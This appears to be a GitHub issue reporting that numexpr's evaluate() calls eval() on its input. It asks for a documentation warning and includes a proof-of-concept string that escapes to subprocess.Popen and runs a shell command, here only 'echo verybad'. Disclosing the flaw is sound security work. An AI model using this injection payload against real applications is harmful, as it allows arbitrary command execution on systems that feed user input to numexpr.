-
-
Notifications
You must be signed in to change notification settings - Fork 215
Closed
Description
The evaluate() function eventually calls eval() on the data provided. eval() is extremely dangerous when supplied with user input and to my knowledge it isn't mentioned that the function does this. I would add a warning in the documentation about this. As a proof-of-concept, the following code should execute the command 'echo verybad' on your computer when ran:
import numexpr
s = """
(lambda fc=(
lambda n: [
c for c in
().__class__.__bases__[0].__subclasses__()
if c.__name__ == n
][0]
):
fc("function")(
fc("Popen")("echo verybad",shell=True),{}
)()
)()
"""
numexpr.evaluate(s)
Metadata
Metadata
Assignees
Labels
No labels